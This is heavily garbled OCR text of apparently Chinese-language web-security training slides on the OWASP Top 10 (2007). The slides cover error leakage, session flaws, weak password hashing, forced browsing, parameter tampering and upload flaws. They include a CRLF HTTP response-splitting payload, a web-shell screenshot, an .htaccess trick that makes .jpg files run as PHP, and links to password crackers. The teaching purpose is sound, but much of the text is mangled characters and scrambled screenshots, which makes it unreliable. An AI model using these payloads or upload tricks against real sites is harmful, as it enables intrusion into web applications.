out bots. Our method can successfully pass that test 92% of the timelsI=tN =FEellyy oAl E=Tu (o] R=\S E=1yle eI N T=X:1e]o]{o = Tu RV

take uses general purpose algorithms that have been designed for generic object recognition. The same basic ideas have
been applied to finding people inimages, matching handwritten digits, and recognizing 3D objects.

News Articles

Human or Computer? Take This Test, The New York Times, December 10, 2002.
Up to the Challenge: Computer Scientists Crack a Set of Al-Based Puzzles, SIAM News, November 2002

Quick links:

Background
Our Approach
Results
Related Links

v 169
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by # & i%(cont.)

— CAPTCHA Decoder

2001’

G- e

T BARE g PWNEh - caalibs . -t - d - | 0@ BB S % #ED- R2HEQ- TEQ- @-

i : /
DEFFATED CAPTCHAS -
PWhtcha is able to detect and decode the following captchas:
S5 PWhNtcha
O Samples : Comments
g P efficiency
Vendor site: G* http:/www.gudhyf com/index php®p=376
Authimage 100% Weaknesses: constant font, aligned glvphs, constant ghyph position, constant rotation, no deformation, non-
textured backsround. constant colours. no perturbation.
Clibic 1008 Weaknesses: constant font, no rotation, no deformation, alizned slyph, constant backzround, weak colour variation,
skl weak perturbation.
iR 1002 Weaknesses: constant font, aligned slyphs, no rotation, no deformation, non-textured backzround, weak colour
s R variation, weak perturbation.
00% Weaknesses: constant font, constant charactar position.
Imt b 950 Weaknesses: constant font, almost alighed glyphs, no rotation, no deformation, constant backsround, no colour
mt.1v g ey : = e =
¢ vatiation, weak perturbation.
Crurcolony 100% Weaknesses: constant font, no rotation, no deformation, no colour variation. no perturbation.
P 950 Weaknesses: constant font, almost alished glyphs, no rotation, no deformation, constant backsround, no colour
Pav e ey 5 = = =
P 2 variation, no additional perturbation.
— s Vendor site: =* http:/www.phpbb.com
g 5 i : :
Php ° Weaknesses: constant font, no rotation, no deformation, constant colours, weak perturbation.
R Vendor site: C* http://jar ves/ html
s 00% Weaknesses: at most 3 different fonts, no rotation, no deformation, weak colour variation, useless perturbation
- (separate colour kev).
Slashdot Weaknesses: constant font, no deformation, constant colours, weak perturbation.
4

& FEER v ®W100% -



f7 2 2 3. (cont.)

#E

v ¥ 44

— Each link and form contains an unpredictable
token for each user(or request)

— &7

<form action="/transfer.do” method="post">

<input type="hidden" name="8438927730" value="43847384383 "=

</ form=

> g 3% e £ A LA B 0 Z 4 —{Erandom token
BN R BIERMBL I BB ST AL
session data ¥ -

AW EME R AR A B R E %
YR AT Y -

> L B ERFRRF] 0 BlheSnERNAK e
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Information Leakage &
Improper Error Handling




OWASP Top 10 (2007) - 6

» Information Leakage and Improper Error
Handling

> WebE Al £2 X, © 4 A73% ) AT S 3RME P
2 THRBGEM -




A T F O 6 48

ltoro Mutual: Server Error - Windows Internet Explorex
@,:;v [ testfie net - DRI [
5 #‘ﬁ;’ﬁ) ®iEE WRO ANREW IAD HHD
Vo BMBE @ dlom Munul Sever Bror | bW AR GRPORND 64 #HD F2HD

X

Sign In | Contact Us | Feedback | Search

AltoroMutual

An Error Has Occurred

Summary:

Syntax error in string in query expression 'username =

Error Message:

System.Data.0leDb.0leDbException: Syntax error in string in query expression 'username = ", at System.Data.0leDb.OleDbCommand.ExecuteCommandTextErrorHandling(OleDbHR 2sult Ar) at
System.Data.0leDb.OleDbCommand.ExecuteCommandTextForSingleResult(tagDEPARAMS dbParams, Objecth executeResult) at System.Data.OleDb.OleDbCommand.ExecuteCommandText{ Objectd executeResult)
at System.Data.OleDb.OleDbCommand.ExecuteCommand(CommandBehavior behavior, Object® executeResult) at System.Datz.0leDb.OleDbCommand.ExecuteReaderInternal{ CommandBehavior behavior, String
method) at System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.0leDb.OleDbCommand.System.Data. IDbCommand.ExecuteR eader{ CommandBehavior behavior) at
System.Data.Common.DbDataAdapter FilllnternaliDataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDBCommand command, CommandBehavior behavior) at
System.Data.Common.DbDataAdapter Fill{ DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at
System.Data.Common.DbDataAdapter.Fill{DataSet dataSet, String srcTable] at Altoro.Authentication.ValidateUser(String ullame, String pWerd] in d:\downloadsiAltoroMutual_veiwebsite\bankilogin.aspx.cstline 73
at Altore.Authentication.Page_Load(Object sender, Eventirgs ) inlu:l:‘Ldovmloads"‘ﬁltornr'a'lutual '.rE"\websitE"\banl-c‘Jogin.aspx.:slline 33 at System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object
t, Eventirgs &) at System.Web.Util.CalliEventHandlerDelegateProxy. Callback(Objact
System.Web.UI.Page.ProcessRequestMain(Boclean includeStagesBeforeAsyncPoj

er, Eventfrgs &) at System.Web.ULControl.OnLoad(Eventtrgs &) at System.Web.UL Contral.LoadRecursive(] at

oolean includeStagesAfterAsyncPoint]

Privacy Policy | Zecurity Ststement | & 2009 Altore Mutual, Inc.




.Net Error Message

10| x|
fue :":F
Action:  [Change Content-Length =] _test |
Address: [https: /R o i oo hk:443]0rdQryHis. aspi j| Send |
Request | Info | GUT |
IPOAST fOrdCrybis. aspc HTTRIL.1
[Peferar: b & ol i e, A4 3 OndOryHEs . aspo
oonkent-Length; 63
[Conkent-Typea: apphicationxx-wsss-form-urlencoded
[Host: B . com, bk
ILtser-fgent: Mozilaf4.0 (compatible; MSIE 6.0; Windows NT 5.1; 5¥1; NET CLR 1.1.4322)
IPragrna: no-cache
[Cookie: CustomCooke='deblnspect; ASP.NET_Session]d=uzwigpbnspgavt 55000maced
[hidSaghlo=EdhidPrice=ShidCty s BActount =8y = G B Dl Gor der | =1
<configuration>
Rgsponce | Qrowser | <!-- forms based autpeptication -->
Argument ‘Datel’ cannot be converted to type ‘Date’. = ARELEN el
<compilatid debug="false">|
g ! : <ccmpiler
Description: Anunhandied exception occurred during the execution of the current web request, Please review the 1apid _—t R~
stack frace for more information about the error and where & originated in the code <compiler ||.l1 ci" type="Mi
<assemblies>
Exception Details: System brvabiCasiExcaption Argument Tatel’ cannod be converted to type Dabe’ <add assembly=' |ic«:rr11b Version
</ecompilation> |
Source Error: / II
II ||
Line 44; / |
Line 45: s55 = sYY & /7 & MM & "/ & 50D / |
Line d45: tmplay = DateDifF("d", sss5, Now())
Line 471 strhistory = oclsC0M, G:’tﬂlrdmstnr_v('il:ssi-nn( "ACHOMY, Session("PASS"), tmpD '—\‘
Line 48: 'Fesponge.Write(strivistory) M [:ﬁ E,ﬁ
Source File: CPUBLICWHWWROD TS & oo com HNCrdaryHis asp.  Lines 46 _|;| = false
1l | »
- = e 3/t
search [Response =] For | R | (BB PERS E)
' 4




CEURRAAGBTHERALEED
v {# A Try-Catch Exceptions % & 32

VEZHAZNEERNE
v'=> Return 200 Status Code

VRN E R E KAHE

— {5 do B EE IR
BTt éa i eg4e RN AR E R LA
VI R I 14 3% e Log A Hu R W Bh PR 44

A\
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Session Management




OWASP Top 10 (2007) -7

- »Broken Authentication and Session
Management

>WebE AN T BITEE & F 4 53EA8 H
hRE A H G

Vg Bk GiR

VR R




0,17 B Rk 2:E AR E B

> Sk BA testl B 15 2 issuer_account
ARk (test2) >R T o

“w . Inkernet Explorer is attempting o send data to the following page:
PR T
-ﬁ- ‘fou may tamper with this data using this dialog. Configure this tool...

o Send altered data

¥ Send onginal dats

issuer_accourkt 0000002500

clickflag 1

PIN 123456

5 % Edit Field: fissuer_account [ooo000z50iEEEEEY =]

Raw POST prettyPOsT |
test2iE4f - P
EHa RROIPIH0ES - B AsE2007/02/06 - :’j s
EEEEARBA 0 RBAE2007/02/06-

179




$5.75): ¥ k%3 B £ #(cont.)

@ He =l 'k :‘1 s ;\l /._\J i ";.:Lf' BrnRFE ﬁ} I" _: - ::__-F |‘)_"r-| = _'J ﬁ ﬁn ﬂ >
. v B iE EE ” © gt B
J’iE .'féi'. & °r

oo BASERER

Her#l A FEHAE

{EFA S  test2
Email {§%8 * testl@sti.com.tw

F i TR A 09876543221

Microsoft Internet Explorer




$0.15): B &k 2 3F B3 £ ) (cont.)

4 =
Ele Ediz Yiw Ambe FRepont Took Help
=100 e HTTPM .1 200 OK
= el Date” Mon, 05 Feb 2007 034800 OMT
Sanver IBM_HTTP_SeraiE.0.2.11 Apachei2 047 (WindX)

Contéent Lengtinc 3142
Fidp-Alve. meirout=10, Ma=100

+

-

- Fe— Connection Keep-Aliva

e N - Content Type: texthiml, charseétabigh
. P — - - Content Language: Ih-Tw

™ - -

. - -

forml . _service value = serdce; =
fornd submag;

|
sfgcriph=
enlinloads"exit(® onConleatmenus retum frue™>

=fom names"ferm 1™ methode“post actions™) T largels"_parent= _J
=enpul ype="hidden”™ ﬂEI’ﬁE‘:'“'SE'MC'E’ valug=""»

ainput Bpe="Tidden™ name="12 susid values

“pfpul pe="hidden™ name="13SuerALcoun’ valug= -

fbie width="TEB3" haight="100%" border="" atigr="ciénbtir” clpadding="" cllfpacing="0">

sfr=ajd> .:J.

> T Topmequest B¢ Trap mesponae Continue I Deop I

1 OET - .. e 200 0K TBEMs =]
4 POST . - o - 2000 O 1265ms
& POST - - 200 O 41T2ms
G POIT . — - 200 O I8TSms
T GET - - 200 Ok S15ms
B OET - = 200 Ok Ti9ms
1M GET - - - 200 OK BEOMm=
i1 GET - - 404 Mol Found Hams
12 BET L] - - 200 O 150ms

=

| Bisory [Soiies] Alers] Ouvtymt]




$o.47): 3 k235 A E #l(cont.) @;‘%

> 383 & R h (2 test2) > TTNEF| IS B4 A
BB o

[EFExEATHH] c2480(0E)
+{ B Z0EH : pu"rian_"rm (106 P32 2065 3E30)

*Email (58 ! IDuTian.I_iu@sﬁ.mm.t\ﬂ

( BEHSH NIRRT B T 35S E A email (SFEEEAL email TFETZ BHIES
F {96 E ]Ul?&dﬁﬁ?&?

( MFAER - FEAER [NEN1REE | ThisEPaTRIER@AIIRTS )



Cookie Poisoning/Spoofing

> BB E B8 H A Fe9Cookie
Vg > RAER

> % B - Cookie ¥ FF AL TN
viuid : 2%
v'username : F &
v’admin : 0/1/Y/N

v'permission : 2 $/5F &




A B o 7 BRE

> 1%

14 R 53

v http://www.test.com.tw/UserDataManagement
/UserDataEdit.aspx?access=read

v http://1XX.XX.XX.XX/weeklyReport/listEach
Person.asp?person=admin

VR BER B F Rk —1Baccess=user

I referer header

3

v'Strong Access Control to “/admin.aspx”

v’ After that, access control depends on verifying
referer header.

184



» Authentication

VAR R A
VITHREERGERRE SR AR —syRE A

— IP addresses ~ address range masks ~ DNS or
reverse DNS lookups ~ referrer headers ...

vk R E A B A
v 55 75 48 3R B R PP 4 4 ik 3R (S A 2E B AR )
v'Challenge / Response

V RIRATIRAE A F A AR B B AR 6 SRR AR



f7 2 2 3. (cont.)

v & B 59T oL % B B B R

v 5 LABA 3L X A 488 AR F A
— Use SSL

> Do not allow the login process to start from an
unencrypted page

- FEHRFATAEZEGLATRERE
v 3] BABR U XA AT S

— Hash / Encryption
VIR REBUIEIE R B 80 48 R I RE:

— Two step confirmation

— Re-Authentication
— Two-factor Authentication



by # & i%(cont.)

VIS BB AN E 5
- BAZ AR T REEAT
— Re-authentication
- T EANRERE A ETREFHRBEEORR
— SSL /o 15 8
— i %o4# A # (by email)
— RIFEYE: “BRE NP L HE Y
— Send a unique time-limited unguessable single-use

recovery URL to user’s email provided during
registration.
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f7 2 2 3. (cont.)

» Session Management

v Session Tokens’ Protection
— juEIRE(SSL/ BATH AR EE)

— 4w R 4# A cookiefF i£
» [ 4] cookie scope (domain & path)
»>Cookie &% & secure flag

— 4o R A7 3% % B 35 R fuF4E A cookie
> 5 A URL 2200y X712
» Referer header
> Browsing History

»> &5 4% : Store cookies in the hidden field in the POST
form data (+SSL/ Encryption)

— % LABA U A 7 Log ¥



f7 2 2 3. (cont.)

v'Logout( ) !
— F IR B AR BN 3% &) session B

thiz_ Beszion.fbandon(); | this_Session Cleax();

B % SeSSlon tOken g’(ﬁ if (thi=z_Request Cockies["A3F MET Sessionld"] 1= null)
{

thiz _Rezponze Cookies["ASF _NET Sezszionld"].Walue = "";

v'Limit session lifetime
- Logout()!

v'No concurrent logins !

— Each login = A fresh session
> ogout( ) + Re-generate a different session token

- RA—MKABEH token Y G 5> HRFEE
% B > Security Alert !

v"Main Session Token + Per-Page Token

VIRRABI B A AR FENRMAD RERE B H!




OWASP Top10(2007)-8
Insecure Cryptographic Storage




OWASP Top 10 (2007) - 8

» Insecure Cryptographic Storage

> AR XA HBRECE M o 5 FR
VERE B EH!

>R E 2R
v ik 855 e e R B AR B A AR
Ve eET AL




e A A LES,

B Microsoft Excel # il |l
H] BEE REE WRO Wm0 Ao IAC FEHO \EeD S Wil R AR S ERGRE -8 x

ifceaerDF i) (S A E B9 -2 - eC e [ 217 ElR e e
G Yo T Wi Mre Wi W |2 g reEmesE ey gemmeman.
K22 - e
A | B | i | D T F | G B
ermail home phone  id number mailbox o # i " ot rassword
1
.t '
.com.tw LT
IR | 4=
dw l
LCom.tw | L&)
0.3 .com n
Ail.com . my- y - 9 R 1
1.t ¥
O &
et L 10
aleRulat 345
m uil .com b
o SO 1
vahoo.co L
LI I52
oo e
m 7
oL 3
et twr
L4 P n &
4 4 » [ Sheet) o Sheet? £ Sheet3 / ' .
A5 NUM




Hashed Password

» Password : 12345678

Algorithm Value

Base64 MTIzZNDU2Nzg=

DES (13 chars) aaNN3X.PL2piw

MD5 (32 chars) 25d55ad283aa400af464c76d713c07ad

SHA1 (40 chars) 7¢c222fb2927d828af22f592134e€8932480637c0d
Salted MD5 $1$tsLFcOYh$5ibC1Ui20PwUvyGUttUFIT
LanMan 0182BD0BD4444BF836077A718CCDF409
NTLM 259745CB123A52AA2E693AAACCA2DB52
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Hash Calculator

» Hash Calc

[&] HashCale Wli=ll.3

Diata, Format: Diata:
| Textstring | |vzuedu by

Kevy Eew:
I HMAC [Textsting | |
v MD5 |55 761255 300666361 T0aZa2077c 1 4a7
W MD4 |47ed 5{9092d 2ea5c0c7 Sad B 36526a2d
W 3HAL |9d580ac44 1217058297 1 ac202e04153e7d S6a2d

v SHAZSG 18153004 5c8bd 209d 44£££21 231 4b5c00fb5 5540 3ana] feeB2 3846043 2ad Le

v SHL334 14067 4e8c0462127e 3b8 16071 80b 14524233831 1d 57a06eea5d 4eb68d 5724 70051 9ef 3 1a05£1 f06Gea? 5471 Sha5c3490

[v SHASIZ |bi971£5c40fe 1 {94962481 6691 dfef2i0de7d 3c6c9ddd b2 T faed 9a0e08 00 5c8aled 221 280 4fae 61 a3 1820001026 T0%cal beBel | ad466bd defBed 80612 34ett
v RIFEMDIG0 |:0322213bf4841 34557424 5b6d230ca2bE04d ead

vV PANAMA  |b1449510af6h538be | 422610670 Tat 30 5246427681 c4£4£37 50 340ab074

[v TIGEE |955c3201 3b944d2295299a76d 1351 302b3b24763TH2 1 b263

[v MD2 |343c236d79f Tah 5 1ec090de 5hi231 ba

v ADLER3Z  |160703ee

v CRC2Z 1282717

v Dok e SO0000TeaSe0e T5aR B B5 26500

SlavaSaft fCalculate 3| Close Help




Hashed Password Cracking Process?f%

> ;% )'] i‘&ﬁ#— ﬁ'&? ﬁEJ Possible candidates

Hashed Password / Plaintext 000001’ hash | <= | Plaintext 000001
/' Plaintext 000002" hash | <= | Plaintext 000002

/c222fb2927d8
28af22f592134e | Match ?
8932480637c0d \
Plaintext 999999’ hash | = | Plaintext 999999
VIR L E 4B !
VETHASH  ABEAFHFERER D
Rainbow Table

v Z #% H B-ftable-lookupik F EsE B E 0 K18
ﬁﬁ = Bgffaﬁ °
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Rainbow Table Generator

» Winrtgen

1
AN KT R
.

= L

—

Rainbow Table properties

Hazh Min Len Max Len - Index Chain Len Chain Connt N® of tables
Im ﬂ | 1 7 1] 2400 40000000 | 1

zhal A
rpemd 160 —
ey |32 j Edit
mysylshal

CLsC0pLd L LMNOPORETUV WHYE
shal 56 :

sha384
shaG12 r%z
oracle — 582 kews

wpapsk ¥ |55
muccess probabilite: 0978023 (97 80%)

Benchmarck Optional parameter [
Hash speed:
atep speed:

Tahla nrarmmmn tatimn Mna-

Exat




ree Rainbow Tables

EREE &FEE R REvREEW THAEO RS

QrF © RNEG|One Lawmz @28 @ - [

Ll ds

Ak Dy |$§‘| httpftaeewe freerainbowtables cormdind ex-rainbowtables-tables-shal html

v| B HsE EE ?

Algorithm: SHA1

mixalpha-numeric

Character Set: {abcdefghifkimnopgrstuywsyz ABCDEFGHLIKLMNOPORSTUVWX Y Z0 123455 739)

String Length: 1-7 characters

Mumber of Tables: 101

Filesize:; 36.9GE (rar-compressed)

Download: Torrent - Download torrent for these rainbow tables
Files: sha1_mixalpha-numericz1-7_0_4500x40000000_all.rar

shal_mixalpha-numeric1-7_1_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_2_4500x40000000_all.rar
sha1_mixalpha-numericz=1-7_3_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_4_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_5_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_6_4500x40000000_all.rar
sha1_mixalpha-numericz=1-7_7_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_8_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_9_4500x40000000_all.rar
sha1_mixalpha-numericz1-7_10_4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_11_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_12 4500x40000000_all.rar
shal_mixalpha-numeric#1-7_13_4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_14_4500x40000000_all.rar
sha1_mixalpha-numericz1-7_15_4500x40000000_all.rar
shal_mixalpha-numeric®1-7_16_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_17_4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_18_4500x40000000_all.rar
shal_mixalpha-numeric®1-7_19_ 4500x40000000_all.rar
shal mixalpha-numeric#1-7_20_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_21_4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_22_4500x40000000_all.rar
shal_mixalpha-numeric®1-7_23 4500x40000000_all.rar
shal_mixalpha-numeric#1-7_24_ 4500x40000000_all.rar
sha1l_mixalpha-numeric£1-7_25_4500x40000000_all.rar
sha1_mixalpha-numeric=1-7_26_4500x40000000_all.rar
shal_mixalpha-numeric#1-7_27 4500x40000000_all.rar

LS

&)= 5=

D RSN




Password Crackers

» John the Ripper
v" http://www.openwall.com/john/
v' DES/MD5/Salted MD5/LM

» John The Ripper MPI Patch
v" http://bindshell.net/tools/johntheripper
v DES/MD5/Salted MD5/LM/NTLM/...
» Cain & Abel
v' http://www.oxid.it/
v LM/NTLM/MD5/SHAL1/...

» RainbowCrack
v" http://www.antsight.com/zsl/rainbowcrack/
v MD5/SHA1/LM/NTLM/...

» Google
v Reverse MD5
v Reverse SHA1




» Principles
VERSERER R ARSI
Vie R E BT > &RiFRHashR R EHRE -

- ERRBBEAREEGRE X
— {# A EE#E & Key size
— Hash (One-Way)

»Weak algorithms : LM ~ MD5 - SHAT1
»Better : MD5 twice

— Cipher(Two-Way)
»Weak algorithm : DES
» Better : AES(AES-128, AES-192 and AES-256)
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by # & i%(cont.)

v 15 518 & 4 & hash {4 fu A $LEF #$ (salt)
— 3£ 38 #] Al rainbow table &9 8% 8 3% &
Vi R ETE B EREE 0 AT A

— Bad SSH-2 implementation in OpenSSH
v2.3.1(2001/1/18~2/8)



by # & i%(cont.)

v'For encryption keys
- HNARXEREANESK/IETRENFREN(E
#~ BERRES)
— %] B persistent cookies £% 75 £ AT 3%
- K88 2 &4 B M fkey
v'For configuration store
— W B ha E
— B RIEE



OWASP Top10(2007)-9
Insecure Communication




OWASP Top 10 (2007) - 9

- > Insecure Communication

FREMEBRMEEFEFRAER WE T AR
#ATHRE D> KB




» For Web Connections :

v iR SSL & A BT ER!
— B4 EH (Password ~ Session ID)
» 3% & cookie #) “secure” flag

Set-Cookie:JSESSIONID: 893ihewwydkq2704@&@09;Path=/;secure
- ERFEH
- BAEHH AR >~ B4~ BE)
- X5 K
v 345 M A JE SSLeg f7 B & 38 !
» For Infrastructure Elements’ Communications:

veg IO EHEEH
— TLS (Transport Layer Security) ~ IPSec




OWASP Top10(2007)-10
Failure to Restrict URL Access




OWASP Top 10 (2007) - 10

- > Failure to Restrict URL Access

>R MBS R B B IR OT R FRIE B
AR ATERENBERFR




BEE D el BeREL TROD REE

-___,III

E !L'E. EE-E] ]'I.'.'t[! [ -

Parent Divectory

addlizstomp. tut

calémdarpopup.is

Corg

I .I 3 iz .:
tg Hirec_dree_data. s

g Waill&dd . php
g FanCheckOui ta. phep

non:_MailACL add.php

i Mail lACL del .php

rms Mailladd. php

s _Mailg.php
g Menthly bar . phep

oG rridvance, ind, php

g (1vrwfigar Tme ke

D Ome ovene @we £ 3- L B -G B EH 9

= ~..- E)E & TEwa % f [EBocer B - fi Paoe Anayss [ copy... -
_

Last modifiad Zize Description
Fl-oct-2002 17:37
Flepot-2002 1742 1k
Flegot-2002 1742 10k
02 -pug - 2004 049:22 Tk
Bl-oor-2002 1742 1k
31-0ct-2002 17:42 ak
0%-Dec-2002 13:27 Tk
Fletct-2002 1742 2k
l-0ct-2000 1742 1k
31-0ct-2000 17:42 7k
F1-0ct-2002 17:42 Tk
Flopot-2002 1742 2k
Fletct-2002 1742 L4k
I T N 1 I e B ) 9 "d'-

© A




Forceful Browsing

> i AHTMLR %54 R 3% F R A URL
15 RIAFERIHAE R @

v adduser/deluser -~ showprofile/editprofile - ...

> 3% B Bl A% A RS R
v G54 #% ¢ bak - .old ~ .tmp ~ *~
V ZEREBEHIE : » .cfg ~ .log ~ .mdb ~ xIs ~ .sql
v B4 : .tar ~ zip ~ .rar - .tgz




B4 Google Hacking

i BEHRE :.-'l inurladduser - Google S
mE#E BRF 2ZH MmE E #E Gmal FL v

GOLJS['E iinurl.adduser | ﬁ§| i3
© fradEE O girs O soiEs O SEgnEs

HMEIH #HpEres

i E A

HEIESE - 7 sheli@TFEEE Tadduser 324852 duncan@ -root- [~]# adduser B HE L TRY
8 B 8 E RS E AR SR /ete/adduser conf: Mo such ...

contest ks edu.tw/syshtmlifreebsd-adduser.html - B EFE

Ubuntu -- Details of package adduser in intrepid
EiNsis - HE R EEH This package includes the 'adduser and ‘deluser commands for

creating and removing users. - ‘adduser creates new users and groups ...
packages.ubunut.com/zh-tw/intrepid/fadduser - B E7FE

www.freebsd.org/cgi/man.cgi?query=adduser&sektion=8 - [ #:2H.5 |
HEAE

Debian -- Package Search Results -- adduser - [ #2245 |

You have searched for packages that names contain adduser in all suites, all sections, and all
architectures. Found 12 matching packages. ...

packages debian.org » Packages - EERE - HLAE 209




Web AP # 3% % 72 48 B 4

AT REHEMIFTLLANREANE £
VERRAN + BAEBTOHEREAHH T
— R AR FR 50 ...
- #5538 2 No SSL

- REVENIEABEA
> K oI R MR IR 2 % A
> - No/Bad authorization

PAREFBRETEHEAR
v ' Demo = .....
VAR RS S EHE
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F RBZR ALY E G

) WU - Microsoft Internet Explorer

: =10i x|
| %O #HE #0Q MOAEQ IAD Ke® __ i 3
.Ql_l - - (%] 2] }; W RRE 'E?jl"' = o = | i ::'
| &) by i ~] ElBE |
| Google G~ Sl M. B | e DA | ST - »  Obee || @ -
oS
BEER C puil
T null
HEN:
MW —
EFEN—REA o L EnSMNEEEE ATERE
R -BERE ST @800 - BERDTEEE 2 E:E
| o
-
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1 X ‘“&%%#ﬁﬁﬁ%é%ﬁﬂwﬁmﬂ
RERERSHHEME !
FHLERBEEBRARFR
v BE R B B B SR8 B oh sk
VRREMBER L RO ML X FRATAR
VEARKREBANEREANERBZT
VARELGERFEEEN!




by # & i%(cont.)

I EZE AR AREGFR
v & A R 5 4% R &9 URL
— ¥4 4% ELB(EAR)
V RFIGFR S 5
- BEEERR/EBETENA
vV RFIGFRAE
vV BB FRRIRIP
» Secure Default
vV 3R AR FIREEE SR
— Role Based
VARETE (KRR TRESEL > AP REFELARY -
— ABEREVS. 24 BEHE




Other Web Vulnerabilities




HTTP Response Splitting




HTTP Response Splitting

>HTTPE & 4 %)
> a2 B

V B3 APEE A E AT ERE AN MR
ZAHTTP 5 éyHeader & o

> ¥
VABRERWEEANGFLNTF S > R A —AHTTP
Response # s, RE(RE Z) °
VIR R AW R T AR AT RAE R
— AT Script
— AT R 443
- TREEEKX
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HTTP Response Splitting

> #5.17]
VRBESHEEE TGN BEETIRANER

\

q

<%
response.sendRedirect ("/by lang.jsp?lang="+ regquest.getFarameter ("lang"));
5>

VHlmBEER RSB R

HTTP/1.1 302 Moved Temporarily

Date: Wed, 24 Dec 2003 12:53:28 GMT

Lecation: http://10.1.1.1/by lang.jsp?lang=English
Server: Some Server

Content-Type: text/html

Connection: Close

<html><head><title>302 Moved Temporarily</title></head:>
<body bgcolor="4FFFFFF"></html>
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HTTP Response Splitting

VEL B R

/redir lang.jsp?lang=focbar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%200K%0d%0
Content-Type:%20text/html%0d%0aContent- Length:%2019%0d4%0a%0d%0a<html>Shazam</html>

VIR,

wer °

ETTF/1.1 302 Moved Temporarily

Cate: Wed, 24 Dec 2003 15:26:41 GMT

Locatien: http://10.1.1.1/by lang.jsp?lang=£focbar
Content-Length: 0 a

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19

<html>Shazam</html>
I
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>HEREMARITHS
 —RERRBRTIFR

| (EAKFR)

& (‘& &%)

s (2 5%)

$ (&%AHR)

% (B HLAR)

@ (at &5%)
‘(B—-E3I%)
“(31%%)

\ (Rétaped £3]3%)
\“ (R#+H6p8k 31 5%)
< (B[FENMN)

0 (FR)

+ (he¥k)

CR (=@ & » ASCII 0x0d )
LF (347 > ASCII 0x0a)
, (GE3%)

\ (R#H68)

V B e RT R o B RER
THAEFLR A RER
FREMEERELEANE)
— 0~9
—

219



Parameter Tampering




Parameter Tampering

> EHAURLKX R A E2# > #R2KXBARN
Z 4o R &

v'radio button ~ check box ~ select menu

v'hidden value (DB &1E4%2))
' i S (D ERFHHIKE!!])
v'SQL ~ XSS
vaEE  (D#IK?!)
V&ML (D F?))
VISR ERERAE M SE(D HRAKPF/EERLE)

ELVES SRV 5kl 5 o




B & I8 X80+ 2 5F A

AEIRE R IR S s R P - Microsoft Internet Explos
BEE WEE mHlD BENMEEQ TEOD Eﬁﬁ!ﬂ(ﬂ)

e e < MDY ﬁ\@g# Gpmes D @\%véaﬂ

HELE D I@ http:ferwre . ettoday.com/2003/1 171 1/811- 1541900, htm

E T today.... .
B ™ 32 R4 sEmies [fEr ©

[ Money®E: | B O | B W R T R B | E & E M E |

EHE B
CEN e R mAkESHE ATREEAREC s | % .  wrsimen

& wavmnn
CHEIRH A REALRE SHERPHE AR '
= | deo o
] > LR R ﬁ’ﬁhé

2003411411 13:05 wiE i
o0 o s BRG] - B RS EREE SR
cifibank Egj}(—ﬁ%

@5 [ AEATRRARTREATNESE "R E S

— O EATILUIRER ) SRemSEr | Doro (6l

BARAE > R 2EURLEMS 28 A
R3E > BT BB A BT !
f5: uid=300 — uid=1

== =<3

WBFEIEEE ¢ ivy- @ shunc com
o




» Input Validation
v #1,4 Business Logic &9# & !

v LR 3R A B 89 2 B35 4T 4a tb ¥ Session & 47 &
E—#!

> 4%

I B A BAE — BB R E

VAR BZEBRBINMA RS F XFRE
L RERAFR BRI

V' ] 17 8] 42 3% Session # B (R FHB)F REIA -
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File Upload Mis-Handling




%ELEE

> SAPH A E LR
VEIEER - E8 - XH...

PEEPARFHE  BETUAEIEAEZERLX
v WebShell = 3= %142 32 Web * 3%
VIBNESB-RE

I_com;"‘py_webshell.py’?patl‘F.J'"Prn:-ject ‘TT - |7|Google
J-Backdnor Hot Found | l

I..f'PrDjec‘t M E |

WebsnellHE | BEEHFE | ESsEEE | HiTe$ Socker/R3l
HETEETT (. /Project) T RIHEE:

WiE & E e ) #izl =1E

csrf 2008-02-16 22:17:37 - R/W/ X Del/Rename

fish 2008-02-16 22:17:37 R/W/X Del/Rename
ieprint 2008-02-16 22:17:37 R/W/ X Del /Rename

roc 2008-02-16 22:17:37 R/W/ X Del/Rename
webtrojan 2009-02-16 22:17:37 - R/W/X Del/REename

WOrm 2008-02-16 22:17:37 R/W/ X Del/Rename
0x37Project.rar 2008-07-11 21:57:00 62 .26FE B/W/X BR/C/D/ Del/Eename
doc.html 2008-05-20 22:50:00 0.05KB B/ W/ /X BR/C/D/ Del/Eename
gWoOTrm.js 2008-05-16 14:01:00 1.87EB R/W/ X R/C/DS Del/Rename
kk.js= 2008-06-03 15:12:00 0.01KE R/W/ X RAC/DS

Del/ERename 225
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15 & 5 3 H 4

RS ERFF S A RR
v Client-side validation
— 9] #& bypass !
v MIME Type validation
— iR E!
>R BT B A OF eYScriptR A B FLE R 0 — A A

HTTP POSTH R, R L1&4#5 % > 122 8 & & 2 iy
MIME Type -
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1% & By 3 4% 4] (cont.)

- X BP LB EERT HRA : Apache + PHP
»ER FARA T A %X A “.htaccess”, N4
AddType application/x-httpd-php .jpg
7T LAk % 4 PHP a9 3047 7 X R R FE jpg 6948 &
»filename.php.123 ?!
B Apache ¥ 3% 2| A& 8l 48 & > g0 8148 4
RBAT
>filename.php.jpg ?!
B Apache £ B iy 723574 R 3% € $h4T PHP : the
AddHandler directive 2% & AddType.
BioRTar%H > REMELETY2H php e E/F
PHP#% & R AT -
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>F A EGLEHEBS ° £Web Server % 2
3 A FYMIME-Type St 1 i 48 3 J& 64 £2
AL -

Vi g2 AR TELRRA
— #5]4= : Apache & ‘“htaccess "% £ K B 2| &~ €%
BIE R EARARAGME -
>R A (RAFEARE):
deny from all

<Files ~ ""\w+\.(gifljpe?glpng)$'">
order deny,allow

allow from all
</Files>
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by # & i%(cont.)

> fit 4% 2 e
